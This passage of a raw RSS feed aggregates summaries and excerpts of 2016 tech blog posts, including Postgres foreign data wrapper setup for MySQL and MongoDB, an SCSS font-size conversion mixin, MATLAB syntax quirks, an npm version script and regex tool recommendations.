$ make USE_PGXS=1
$ make USE_PGXS=1 install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that you&amp;rsquo;ve built it you&amp;rsquo;d follow a very similar path to setting it up as we did for Postgres:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE EXTENSION mysql_fdw;
CREATE SERVER mysql_server
FOREIGN DATA WRAPPER mysql_fdw
OPTIONS (host '127.0.0.1', port '3306');
CREATE USER MAPPING FOR postgres
SERVER mysql_server
OPTIONS (username 'foo', password 'bar');
CREATE FOREIGN TABLE core_users (
id integer NOT NULL,
username varchar(255),
password varchar(255),
last_login timestamptz
)
SERVER mysql_server;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But MySQL while different than Postgres is also more similar in SQL support than say a more exotic NoSQL store. How well do they work as a foreign data wrapper? Let&amp;rsquo;s look at our next one:&lt;/p&gt;
&lt;h3 id="mongodb"&gt;
&lt;div&gt;
MongoDB
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;First you&amp;rsquo;ll go through much of the &lt;a href="https://github.com/EnterpriseDB/mongo_fdw"&gt;same setup&lt;/a&gt; as you did for MySQL. The one major difference though is in the final step to setup the &lt;code&gt;table&lt;/code&gt;. Since a table doesn&amp;rsquo;t quite map in the same way with Mongo you have the ability to set two items: 1. the database and 2. the collection name.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE FOREIGN TABLE core_users(
_id NAME,
user_id int,
user_username text,
user_last_login timestamptz)
SERVER mongo_server
OPTIONS (database 'db', collection 'users');
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this you can do some basic level of filtering as well:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT *
FROM core_users
WHERE user_last_login &amp;gt;= now() - '1 day'::interval;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also write and delete data as well now just using SQL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DELETE FROM core_users
WHERE user_id = 100;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of course just putting SQL on top of Mongo doesn&amp;rsquo;t mean you get all the flexibility of analysis that you&amp;rsquo;d have directly within Postgres, this does go a long way towards allowing you to analyze data that lives across two different systems.&lt;/p&gt;
&lt;h3 id="many-more"&gt;
&lt;div&gt;
Many more
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;A few years ago there were some key ones which already made FDWs useful. Now there&amp;rsquo;s a rich list covering probably every system you could want. Whether it&amp;rsquo;s &lt;a href="http://www.craigkerstiens.com/2012/10/18/connecting_to_redis_from_postgres/"&gt;Redis&lt;/a&gt;, a simple &lt;a href="https://www.postgresql.org/docs/9.5/static/file-fdw.html"&gt;CSV&lt;/a&gt; one, or something newer like &lt;a href="https://github.com/snaga/monetdb_fdw"&gt;MonetDB&lt;/a&gt; chances are you can find an &lt;a href="https://wiki.postgresql.org/wiki/Foreign_data_wrappers#NoSQL_Database_Wrappers"&gt;FDW&lt;/a&gt; for the system you need that makes your life easier.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;If you&amp;rsquo;re looking for a deeper resource on Postgres I recommend the book &lt;a href="https://theartofpostgresql.com/?affiliate=cek"&gt;The Art of PostgreSQL&lt;/a&gt;. It is by a personal friend that has aimed to create the definitive guide to Postgres, from a developer perspective. If you use code CRAIG15 you&amp;rsquo;ll receive 15% off as well.&lt;/em&gt;&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Sun, 11 Sep 2016 23:55:56 GMT</pubDate><guid isPermaLink="true">/2016/09/11/a-tour-of-fdws/</guid></item><item><title>Monterey K104 restoration</title><link>https://www.skouf.com/posts/monterey-k104-restoration/</link><description>A detailed step-by-step of restoring a keyboard older than I am. Not for the faint-of-keyboard.</description><author>skouf.com</author><pubDate>Sat, 10 Sep 2016 15:12:23 GMT</pubDate><guid isPermaLink="true">https://www.skouf.com/posts/monterey-k104-restoration/</guid></item><item><title>Laravel Homestead Performance mit NFS  verbessern (NFS aktivieren)</title><link>https://philippzentner.com/laravel-homestead-performance-mit-nfs-verbessern-nfs-aktivieren.html</link><description>&lt;p&gt;Wer viel mit Laravel Homestead arbeitet wird hier und da mit Performance Problemen zu kämpfen haben. Alleine die Erhöhung der zugewiesenen CPU-Kerne und des RAMs in der &lt;code&gt;Homestead.yaml&lt;/code&gt; reichen da nicht aus. Besonders langsam ist die Dateien-Synchronisation. Vor allem in der Frontend-Entwicklung, wo Live-Synchronisation eine große Rolle spielt, ist es wichtig, dass Dateiänderungen sofort übernommen werden.&lt;/p&gt;
&lt;p&gt;Das Problem liegt bei VirtualBox und ihrem langsamen "shared folder system". Die Lösung heißt &lt;a href="https://en.wikipedia.org/wiki/Network_File_System" rel="nofollow"&gt;"Network File System" (NFS)&lt;/a&gt;, ein Protokoll für verteilte Dateisysteme und ist schnell zu installieren.&lt;br /&gt;
&lt;a href="https://www.vagrantup.com/docs/synced-folders/nfs.html" rel="nofollow"&gt;Vagrant bietet hier eine gute Dokumentation zu NFS&lt;/a&gt;, welches bei heutigen Betriebsystemen leider nicht out-of-the-box zur Verfügung steht.&lt;br /&gt;
Die Installation gestaltet sich in drei einfachen Schritten.&lt;/p&gt;</description><author>Philipp Zentner</author><pubDate>Sat, 10 Sep 2016 13:01:53 GMT</pubDate><guid isPermaLink="true">https://philippzentner.com/laravel-homestead-performance-mit-nfs-verbessern-nfs-aktivieren.html</guid></item><item><title>2016-09-10</title><link>https://ho.dges.online/pictures/2016-09-10/</link><description/><author>ho.dges.online</author><pubDate>Sat, 10 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-09-10/</guid></item><item><title>Making a Twitter bot that looks for hashes</title><link>https://anisse.astier.eu/making-a-twitter-bot-that-looks-for-hashes.html</link><description>&lt;p&gt;&lt;em&gt;This is a followup to &lt;a href="what-do-you-find-when-you-search-twitter-for-hashes.html"&gt;What do you find when you search Twitter for hashes ?&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;Why ?&lt;/h1&gt;
&lt;p&gt;I'm not sure I remember how it started.&lt;/p&gt;
&lt;p&gt;It all started four years ago. Jon Oberheide was still an independent security researcher and not yet CTO of a successful product company. He posted some …&lt;/p&gt;</description><author>Linux Engineer's random thoughts</author><pubDate>Fri, 09 Sep 2016 19:00:00 GMT</pubDate><guid isPermaLink="true">https://anisse.astier.eu/making-a-twitter-bot-that-looks-for-hashes.html</guid></item><item><title>What do you find when you search Twitter for hashes ?</title><link>https://anisse.astier.eu/what-do-you-find-when-you-search-twitter-for-hashes.html</link><description>&lt;p&gt;This image:&lt;/p&gt;
&lt;p&gt;&lt;img alt="jpg" src="/images/accents-of-blue_small.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;This is what I found with &lt;a href="https://anisse.astier.eu/making-a-twitter-bot-that-looks-for-hashes.html"&gt;hashbot, a twitter bot that looks for hashes.&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;What is this image ?&lt;/h2&gt;
&lt;p&gt;Posted with the hash "2f404a288d1b564fadee944827a39a14" by japanese accounts (of which @furueru_zekkei used to be the top poster, now suspended).&lt;/p&gt;
&lt;p&gt;After a bit of research on google images and more, I …&lt;/p&gt;</description><author>Linux Engineer's random thoughts</author><pubDate>Fri, 09 Sep 2016 18:00:00 GMT</pubDate><guid isPermaLink="true">https://anisse.astier.eu/what-do-you-find-when-you-search-twitter-for-hashes.html</guid></item><item><title>To all Companies Currently Recruiting</title><link>https://boyter.org/2016/09/companies-recruiting/</link><description>&lt;p&gt;I am writing this on behalf of all developers/engineers out there. Please stop with the take home coding challenge questions. Really. Just stop it. They are a lazy and frankly an unprofessional way of sorting the wheat from the chaff. Before closing your browser in disgust hear me out on this one and hopefully I can convince you of the error of your ways.&lt;/p&gt;
&lt;p&gt;There has become an alarming trend these days of companies during the hiring process to issue lengthy coding challenges in order to prove that the individual they are hiring knows their stuff. I totally understand why you might be doing this but frankly its flawed. Lets go through several reasons why.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Fri, 09 Sep 2016 01:29:19 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2016/09/companies-recruiting/</guid></item><item><title>Implementing PhotoShop font sizes and tracking in CSS, points to pixels conversion</title><link>https://muffinman.io/blog/font-size-and-tracking-points-to-pixels/</link><description>&lt;article class="article"&gt;&lt;p&gt;We&amp;#x27;ve all been there - trying to get right font sizes from PhotoShop to CSS.
Designers usually work with points, which are used in the print, but not common on the web.
They also use term &lt;em&gt;tracking&lt;/em&gt; a lot, which is actually only a letter spacing with different units.&lt;/p&gt;
&lt;p&gt;You can recalculate everything by hand and try to keep track of it.
But we can use the goodies of SCSS to make that process a bit easier.&lt;/p&gt;
&lt;p&gt;Point to pixel ratio is &lt;code&gt;1pt = 1.333333px&lt;/code&gt;. We&amp;#x27;ll create SASS function to do conversion for us.&lt;/p&gt;
&lt;p&gt;And PhotoShop tracking works relative to the font size.
One point of tracking is 1/1000 of the font size.
For this one we&amp;#x27;ll create a mixin.&lt;/p&gt;
&lt;pre class="language-scss"&gt;&lt;code class="language-scss code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// Converts pt to px&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;@function&lt;/span&gt; &lt;span class="token function"&gt;pt-to-px&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token variable"&gt;$size-in-points&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword"&gt;@return&lt;/span&gt; &lt;span class="token selector"&gt;#&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token function"&gt;round&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token variable"&gt;$size-in-points&lt;/span&gt; &lt;span class="token operator"&gt;*&lt;/span&gt; 1.333333&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;}&lt;/span&gt;px&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// Adds letter spacing to match photoshop tracking&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;@mixin&lt;/span&gt; &lt;span class="token function"&gt;tracking&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token variable"&gt;$ps-tracking&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token selector"&gt;letter-spacing: #&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt; &lt;span class="token variable"&gt;$ps-tracking&lt;/span&gt; &lt;span class="token operator"&gt;/&lt;/span&gt; 1000 &lt;span class="token punctuation"&gt;}&lt;/span&gt;em&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// Usage&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;.Component &lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token keyword"&gt;@include&lt;/span&gt; &lt;span class="token function"&gt;tracking&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;-5&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;font-size&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token function"&gt;pt-to-px&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;20&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;line-height&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; &lt;span class="token function"&gt;pt-to-px&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;30&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will generate following CSS:&lt;/p&gt;
&lt;pre class="language-scss"&gt;&lt;code class="language-scss code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token selector"&gt;.Component &lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;letter-spacing&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; -.005em&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;font-size&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; 15px&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token property"&gt;line-height&lt;/span&gt;&lt;span class="token punctuation"&gt;:&lt;/span&gt; 23px&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that function and mixin can do pretty much the same job.
But it makes more sense to use mixins when including complete styles,
and functions to return values.
So conversion makes sense to be a function,
as we can use it for font size, line height or anything else.
Conversion of tracking to letter spacing is including a specific style,
so keep it in a mixin.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Thu, 08 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/font-size-and-tracking-points-to-pixels/</guid></item><item><title>Links - September 7th, 2016</title><link>https://faingezicht.com/links/2016/09/07/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 07 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/09/07/links/</guid></item><item><title>MATLAB Syntax</title><link>https://bastibe.de/2016-09-07-matlab-syntax.html</link><description>&lt;p&gt;In a &lt;a href="https://github.com/bastibe/MatlabCodeAnalyzer"&gt;recent project&lt;/a&gt;, I tried to parse MATLAB code. During this trying exercise, I stumbled upon a few... &lt;em&gt;unique&lt;/em&gt; design decisions of the MATLAB language:&lt;/p&gt;
&lt;h2&gt;Use of apostrophes (&lt;code&gt;'&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;Apostrophes can mean one of two things: If applied as a unary postfix operator, it means &lt;em&gt;transpose&lt;/em&gt;. If used as a unary prefix operator, it marks the start of a string. While not a big problem for human readers, this makes code surprisingly hard to parse. The interesting bit about this, though, is the fact that there would have been a much easier way to do this: Why not use double quotation marks for strings, and apostrophes for transpose? The double quotation mark is &lt;em&gt;never&lt;/em&gt; used in MATLAB, so this would have been a very easy choice.&lt;/p&gt;
&lt;h2&gt;Use of parens (&lt;code&gt;()&lt;/code&gt;)&lt;/h2&gt;
&lt;p&gt;If Parens follow a variable name, they can mean one of two things: If the variable is a function, the parens denote a &lt;em&gt;function call&lt;/em&gt;. If the variable is anything else, this is an indexing operation. This can actually be very confusing to readers, since it makes it entirely unclear what kind of operation &lt;code&gt;foo(5)&lt;/code&gt; will execute without knowledge about &lt;code&gt;foo&lt;/code&gt; (which might not be available until runtime). Again, this could have been easily solved by using brackets (&lt;code&gt;[]&lt;/code&gt;) for indexing, and parens (&lt;code&gt;()&lt;/code&gt;) for function calls.&lt;/p&gt;
&lt;h2&gt;Use of braces (&lt;code&gt;{}&lt;/code&gt;) and cell arrays&lt;/h2&gt;
&lt;p&gt;Cell arrays are multi-dimensional, ordered, heterogeneous collections of things. But in contrast to every other collection (structs, objects, maps, tables, matrices), they are not indexed using parens, but &lt;em&gt;braces&lt;/em&gt;. Why? I don't know. In fact, you &lt;em&gt;can&lt;/em&gt; index cell arrays using parens, but this only yields a new cell array with only one value. Why would this ever be useful? I have no explanation. This constantly leads to errors, and for the life of me I can not think of a reason for this behavior.&lt;/p&gt;
&lt;h2&gt;Use of line breaks&lt;/h2&gt;
&lt;p&gt;In MATLAB, your line can end on one of three characters: A newline character, a semicolon (&lt;code&gt;;&lt;/code&gt;), and a comma (,). As we all know, the semicolon suppresses program output, while the newline character does not. The comma ends the logical line, but does not suppress program output. This is a relatively little-known feature, so I thought it would be useful to share it. Except, the meaning of &lt;code&gt;;&lt;/code&gt; and , changes in literals (like &lt;code&gt;[1, 2; 3, 4]&lt;/code&gt; or &lt;code&gt;{'a', 'b'; 3, 4}&lt;/code&gt;). Here, commas separate values on the same row and are optional, and semicolons end the current row. Interestingly, literals also change the meaning of the newline character: Inside a literal, a newline acts just like a semicolon, overrides a preceding comma, and you don't have to use ellipsis (&lt;code&gt;...&lt;/code&gt;) for line continuations.&lt;/p&gt;
&lt;h2&gt;Syntax rules for commands&lt;/h2&gt;
&lt;p&gt;Commands are function calls without the parenthesis, like &lt;code&gt;help disp&lt;/code&gt;, which is syntactically equivalent to &lt;code&gt;help('disp')&lt;/code&gt;. You see, if you just specify a function name (can't be a compound expression or a function handle), and don't use parenthesis, all following words will be interpreted as strings, and passed to the function. This is actually kind of a neat feature. However, how do you differentiate between &lt;code&gt;variable_name + 5&lt;/code&gt; and &lt;code&gt;help + 5&lt;/code&gt;? The answer is: Commands are actually a bit more complex. A command starts with a function name, followed by a space, which is not followed by an operator &lt;em&gt;and a space&lt;/em&gt;. Thus, &lt;code&gt;help ~~5 ~~ 4&lt;/code&gt; is a command, while &lt;code&gt;help + 5 + 4&lt;/code&gt; is an addition. Tricky!&lt;/p&gt;
&lt;h2&gt;The more-than-one-value value&lt;/h2&gt;
&lt;p&gt;If you want to save more than one value in a variable, you can use a collection (structs, matrices, maps, tables, cell arrays). In addition though, MATLAB knows another way of handling more than one values at once: The thing you get when you index a cell array with &lt;code&gt;{:}&lt;/code&gt; or assign a function call with more than one result. In that case, you get something that is assignable to several variables, but that is not itself a collection. Just another quirk of MATLAB's indexing logic. However, you can capture these values into matrices or cell arrays using brackets or braces, like this: &lt;code&gt;{x{:}}&lt;/code&gt; or &lt;code&gt;[x{:}]&lt;/code&gt;. Note that this also works in assignments in a confusing way: &lt;code&gt;[z{:}] = x{:}&lt;/code&gt; (if both x and z have the same length). Incidentally, this is often a neat way of converting between different kinds of collections (but utterly unreadable, because type information is hopelessly lost).&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Wed, 07 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2016-09-07-matlab-syntax.html</guid></item><item><title>Wordpress in Docker on a Raspberry Pi</title><link>https://justingarrison.com/blog/2016-09-07-wordpress-in-docker-on-a-raspberry-pi/</link><description>Docker has been available on the Raspberry Pi for a while but 1.12 makes installation much easier.</description><author>Justin Garrison's Homepage</author><pubDate>Wed, 07 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-09-07-wordpress-in-docker-on-a-raspberry-pi/</guid></item><item><title>Guess the city</title><link>https://rjp.is/blogging/posts/guess-the-city-2/</link><description>In which the future is predicted.</description><author>infrequent oscillations</author><pubDate>Tue, 06 Sep 2016 11:23:06 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/guess-the-city-2/</guid></item><item><title>Up in the Redwoods</title><link>https://faingezicht.com/photos/2016/09/06/redwoods/</link><description>For my birthday, Hannah bought us a tent and a couple of sleeping bags. This past weekend we got to use them for the first time at Humboldt Redwoods State Park. It was a lot of fun.

In honor of the occasion, and because I am slowly contracting &lt;a href="https://en.wikipedia.org/wiki/User:GreyCat/Gear_Acquisition_Syndrome"&gt;gear acquisition syndrome&lt;/a&gt;, I got myself a new 50mm f/1.4. The blur quality is amazing, but I am still not used to the focal length. Below is a mix of photos taken with that one, and the 24mm.</description><author>Avy Faingezicht</author><pubDate>Tue, 06 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2016/09/06/redwoods/</guid></item><item><title>Graphene</title><link>https://mattkeeter.com/projects/graphene</link><description>Hierarchical computation graphs in Racket</description><author>Matt Keeter</author><pubDate>Tue, 06 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://mattkeeter.com/projects/graphene</guid></item><item><title>Tip: customizing npm version</title><link>https://qubyte.codes/blog/tip-customizing-npm-version</link><description>&lt;p&gt;The npm CLI has a bunch of useful utilities for managing projects. The obvious
one is &lt;code&gt;npm test&lt;/code&gt; but there are others. I particularly like working with
&lt;code&gt;npm version&lt;/code&gt; (the subject of this tip).&lt;/p&gt;
&lt;p&gt;Without customization, &lt;code&gt;npm version&lt;/code&gt; checks that the working git directory is
clean, sets the new version in the package file, and then commits it and tags
the repository with the same new version.&lt;/p&gt;
&lt;p&gt;That's great, but what if you have a &lt;code&gt;bower.json&lt;/code&gt; file, or some other task which
needs the new version before the tag is made? &lt;code&gt;npm version&lt;/code&gt; updates the version
in &lt;code&gt;package.json&lt;/code&gt; and it misses the version in the &lt;code&gt;bower.json&lt;/code&gt; file. The
&lt;code&gt;bower.json&lt;/code&gt; version is just an example, but one that illustrates this point.&lt;/p&gt;
&lt;p&gt;This is where customizing &lt;code&gt;npm version&lt;/code&gt; comes in. Continuing the &lt;code&gt;bower.json&lt;/code&gt;
example, we can write a script which performs the version update, and
uses &lt;code&gt;git add&lt;/code&gt; on it. In the &lt;code&gt;package.json&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;{
  &lt;span class="hljs-string"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;: &lt;span class="hljs-string"&gt;&amp;quot;my lovely app&amp;quot;&lt;/span&gt;,
  &lt;span class="hljs-string"&gt;&amp;quot;version&amp;quot;&lt;/span&gt;: &lt;span class="hljs-number"&gt;1.0&lt;/span&gt;&lt;span class="hljs-number"&gt;.0&lt;/span&gt;,
  &lt;span class="hljs-string"&gt;&amp;quot;scripts&amp;quot;&lt;/span&gt;: {
    &lt;span class="hljs-string"&gt;&amp;quot;version&amp;quot;&lt;/span&gt;: &lt;span class="hljs-string"&gt;&amp;quot;node update-bower-version.js &amp;amp;&amp;amp; git add bower.json&amp;quot;&lt;/span&gt;
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To reiterate, &lt;code&gt;npm version&lt;/code&gt; will update the version in the package file, run the
version script above, and then commit the changes and tag the result. That means
that the script needs to do something to the &lt;code&gt;bower.json&lt;/code&gt; file, then &lt;code&gt;git add&lt;/code&gt;
the result.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-comment"&gt;// update-bower-version.js&lt;/span&gt;

&lt;span class="hljs-keyword"&gt;var&lt;/span&gt; fs = &lt;span class="hljs-built_in"&gt;require&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;fs&amp;#x27;&lt;/span&gt;);
&lt;span class="hljs-keyword"&gt;var&lt;/span&gt; bowerJsonPath = &lt;span class="hljs-built_in"&gt;require&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;resolve&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;./bower&amp;#x27;&lt;/span&gt;);
&lt;span class="hljs-keyword"&gt;var&lt;/span&gt; bowerJson = &lt;span class="hljs-built_in"&gt;require&lt;/span&gt;(bowerJsonPath);

bowerJson.&lt;span class="hljs-property"&gt;version&lt;/span&gt; = process.&lt;span class="hljs-property"&gt;env&lt;/span&gt;.&lt;span class="hljs-property"&gt;npm_package_version&lt;/span&gt;; &lt;span class="hljs-comment"&gt;// npm injects this&lt;/span&gt;

fs.&lt;span class="hljs-title function_"&gt;writeFileSync&lt;/span&gt;(bowerJsonPath, &lt;span class="hljs-title class_"&gt;JSON&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;stringify&lt;/span&gt;(bowerJson, &lt;span class="hljs-literal"&gt;null&lt;/span&gt;, &lt;span class="hljs-number"&gt;2&lt;/span&gt;));
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This script is going to be run by &lt;code&gt;npm&lt;/code&gt; from the &lt;code&gt;package.json&lt;/code&gt; file, which
handily &lt;a href="https://docs.npmjs.com/misc/scripts#packagejson-vars"&gt;injects some environment variables&lt;/a&gt;. One of these variables is the
version in the &lt;code&gt;package.json&lt;/code&gt; file. This is great because it means that no
matter what the new version will be we have access to it in this script.&lt;/p&gt;
&lt;p&gt;Since the &lt;code&gt;bower.json&lt;/code&gt; file contains JSON it can be read and parsed by &lt;code&gt;require&lt;/code&gt;
in one step. The version is updated, and the result stringified (I'm using two
space indentation here) and written back to the bower file.&lt;/p&gt;
&lt;p&gt;With a script in place, you can use &lt;code&gt;npm version&lt;/code&gt; without further thought. for
example, a major version bump looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-bash"&gt;npm version major
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Enjoy!&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Mon, 05 Sep 2016 23:00:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/tip-customizing-npm-version</guid></item><item><title>Best Regular Expression Dev Tools</title><link>https://peterlyons.com/problog/2016/09/best-regular-expression-dev-tools/</link><description>&lt;p&gt;Just a quick post to point out some fantastic web applications to help you craft regular expressions in your text processing adventures. These tools make it vastly easier to develop a solid understanding of regular expressions compared to when I learned them by studying the classic O'Reilly book &lt;a href="https://www.amazon.com/gp/product/0596528124/ref=as_li_tl?ie=UTF8&amp;amp;tag=peterlyons-20&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;linkCode=as2&amp;amp;creativeASIN=0596528124&amp;amp;linkId=9a1eb23f1973f15070a0e7e176ea4f2f"&gt;Mastering Regular Expressions&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="first-place-regex-101"&gt;First Place: RegEx 101&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://regex101.com/#javascript"&gt;RegEx 101&lt;/a&gt; is the overall best tool. The explanation block clearly explains how each part of your regular expression is interpretted. The syntax highlighting is great, and the UI doesn't have any confusing parts about whether you need the surrounding slashes and so forth.&lt;/p&gt;
&lt;h2 id="honorable-mention"&gt;Honorable Mention&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://regex-generator.olafneumann.org"&gt;Olaf Neumann Regex-Generator&lt;/a&gt; is a brilliant tool that starts with your input text, autosuggests common patterns, and guides you through building your regex.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.regexplained.co.uk/"&gt;RegExplained&lt;/a&gt; has a great railroad diagram visualization of your regular expression.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.regexr.com/"&gt;regexr&lt;/a&gt; is also handy although not as polished as RegEx 101.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://extendsclass.com/regex-tester.html"&gt;Regex Tester&lt;/a&gt; has a nice railroad diagram and color coding.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.debuggex.com"&gt;debuggex&lt;/a&gt; Neat but no one wants to log into a utility site like this (needed to add unit tests)&lt;/p&gt;
&lt;p&gt;&lt;a href="https://simple-regex.com/"&gt;Simple Regex&lt;/a&gt; is kind of like literate programming for regex. It's a different language you write with clearer expressions like &lt;code&gt;any of (digit, letter, one of ".-") once or more&lt;/code&gt; and it compiles to regex is several mainstream programming languages.&lt;/p&gt;
&lt;h2 id="happy-matching"&gt;Happy Matching!&lt;/h2&gt;
&lt;p&gt;Get out there and be glad you may be able to get away without staring at the pages of this book for hours on end.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Mastering Regular Expressions" src="https://images-na.ssl-images-amazon.com/images/I/51s3zpVhkYL._SY445_QL70_.jpg" /&gt;&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Mon, 05 Sep 2016 19:23:13 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/09/best-regular-expression-dev-tools/</guid></item><item><title>Kubo and the Two Strings</title><link>https://olshansky.info/movie/kubo_and_the_two_strings/</link><description>Olshansky's review of Kubo and the Two Strings</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 05 Sep 2016 13:47:28 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/kubo_and_the_two_strings/</guid></item><item><title>Working over SSH</title><link>https://blog.harterrt.com/working-over-ssh.html</link><description>&lt;div class="toc"&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#introduction"&gt;Introduction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#tools"&gt;Tools&lt;/a&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="#tmux"&gt;tmux&lt;/a&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="#session-persistence"&gt;Session Persistence&lt;/a&gt;&lt;/li&gt;
